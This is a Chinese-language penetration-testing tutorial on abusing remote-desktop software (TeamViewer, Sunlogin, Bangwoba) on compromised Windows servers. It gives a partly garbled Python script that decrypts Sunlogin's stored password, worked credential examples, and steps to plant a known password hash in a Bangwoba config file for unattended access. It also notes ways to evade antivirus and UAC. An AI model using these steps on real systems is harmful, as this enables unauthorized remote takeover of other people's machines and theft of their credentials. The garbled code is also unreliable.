内网渗透-远控类软件利用

简介

对渗透中遇到的远控类软件的利用方式整理。

靶机环境

操作系统:windows server 2012
中间件:tomcat
杀软:卫士+杀毒
默认权限:administrator

Teamviewer

实战中经常遇到的一款远控软件,用户数量高。
可以通过ID和密码进行无人值守访问。

进程信息:

TeamViewer.exe
tv_w32.exe
tv_x64.exe

内存getpass

利用场景:拿到webshell权限,想上线cs,发现主机存在杀软,bypass失败。
通过查看进程信息发现存在Teamviewer。



管理员在线。



上传工具读取密码。

利用获取到的密码成功连接到目标主机的桌面。


绿色版Teamviewer

TeamViewer QuickSupport版



首次运行需要同意协议。


实战使用需要把首次运行同意协议步骤进行绕过,然后上传到目标主机运行,然后抓取密码连接,感兴趣的可以研究下。

向日葵

利用场景:查看进程发现存在向日葵,寻找配置文件,破解本机验证码,连接向日葵。

进程信息:

本机验证码读取

向日葵在最近的更新中加强了加密机制,删除了config.ini中的encry_pwd(本机验证码)。

v11.1.2.38529之前的版本,连接信息保存在配置文件中,可进行解密。
向日葵默认配置文件路径:

安装版:C:\Program Files\Oray\SunLogin\SunloginClient\config.ini
便携版(绿色版):C:\ProgramData\Oray\SunloginClient\config.ini

解密脚本
pip3 install unicorn

import base64
import struct

from ConstCode import *


class KeyBlock:
    __base = "%^$^GHsgjdsad24dffgjkdhw4"

    __key: bytes = None

    @staticmethod
    def new_block(sun_login_code: str = ""):
        if len(sun_login_code) > 31:
            raise Exception("invalid key")
        result = KeyBlock()
        temp = sun_login_code + result.__base
        size = struct.pack(" bytes:
        return self.__key


class Init(Base):
    __key: bytes = None

    def __init__(self, key_block: KeyBlock):
        self.__key = key_block.get_result()
        super().__init__()

    def on_create(self):
        obj = self._get_handle()
        obj.mem_map(self._code_ptr, align(len(init_code)))
        obj.mem_write(self._code_ptr, init_code)

        obj.mem_map(self._data_ptr, 0x2000)
        obj.mem_write(self._data_ptr, bytes(self.__key))
        obj.reg_write(unicorn.x86_const.UC_X86_REG_RCX, self._data_ptr)

    def get_result(self) -> bytes:
        return bytes(self._get_handle().mem_read(self._data_ptr + 60, 0x2000 - 60))


class Decrypt(Base):
    __save_ptr = 0x100000

    def __init__(self, encoded_data, box):
        self.__encoded_data = encoded_data
        self.__box = box
        super().__init__()

    def on_create(self):
        obj = self._get_handle()
        obj.mem_map(self._code_ptr, align(len(decrypt_code)))
        obj.mem_write(self._code_ptr, decrypt_code)

        obj.mem_map(self._data_ptr, 0x2000)
        obj.mem_write(self._data_ptr, self.__box)
        obj.reg_write(unicorn.x86_const.UC_X86_REG_RDX, self._data_ptr)

        obj.mem_map(self.__save_ptr, align(len(self.__encoded_data)))
        obj.mem_write(self.__save_ptr, self.__encoded_data)
        obj.reg_write(unicorn.x86_const.UC_X86_REG_R8, self.__save_ptr)
        obj.reg_write(unicorn.x86_const.UC_X86_REG_R9, int(len(self.__encoded_data) / 8))

    def get_result(self) -> bytes:
        return self._get_handle().mem_read(self.__save_ptr, len(self.__encoded_data))

encry_pwd = 'rwOCS8ozdLo='


print("解密成功: "+Decrypt(base64.b64decode(encry_pwd),
              Init(KeyBlock.new_block('')).start()).start().decode())

绿色版利用

利用场景:
1、杀软白名单策略,常规免杀方法无法绕过。
2、存在流量设备,常规frp,nps,cs,reGeorg等被ban,无法带入内网。

向日葵首次运行提示是否安装。



需要鼠标点击以绿色版运行


使用bypass方法绕过,上传SunloginClient.exe到靶机服务器运行。


image.png

查看绿色版配置文件
C:\ProgramData\Oray\SunloginClient\config.ini

encry_pwd=TB0W65ETAR4=
fastcode=k165034706

使用脚本破解encry_pwd



识别码为:165034706
密码为:LlOa4Z
连接成功。


帮我吧

北京金万维科技有限公司开发的一款产品,分为客服端和客户端。
可以通过设置连接密码进行无人值守访问。
进程信息:

UserClient.exe

配置文件默认路径

C:\GNWay\OSP\UserClient\config.ini

uniqueid 为连接的id
connect_password= 为设置的连接密码加密hash
random_password= 为明文连接密码
2个密码都可以连接使用

默认安装后未设置连接密码,不支持无人值守访问。



高版本

特点:运行过程中动态加载配置文件
利用方式:直接在配置文件中添加连接密码,进行无人值守访问。
1、设置random_password=666666


重新连接,输入设置的密码信息。



连接成功。


2、设置random_password
本地搭建客户端,设置连接密码999999。



查看本地配置文件中加密后的hash为
connect_password=5eec351934af7678a852ade9efc74133



修改目标主机的配置文件中的参数连接即可。
connect_password为5eec351934af7678a852ade9efc74133

低版本

特点:只在开始运行时加载配置文件
无random_password只能通过修改connect_password连接。
利用方式:结束进程,修改配置文件,重新运行。
1、结束进程

taskkill /pid 84636  -t  -f

2、修改配置文件内容
connect_password为5eec351934af7678a852ade9efc74133(999999)
3、重新启动即可用密码连接。

坑点

1、uac
非server服务器运行向日葵需要bypass uac


2、用户不在线的情况,需要密码登录。



这个点导致利用起来比较鸡肋,适用于隧道流量无法绕过等一些极端情况,可以选择免杀读密码/免杀加用户然后登录。

总结

整理了最近遇到的几个内网远控存在利用的点,利用相对鸡肋,适用于某些极端情况下使用。

你可能感兴趣的:(内网渗透-远控类软件利用)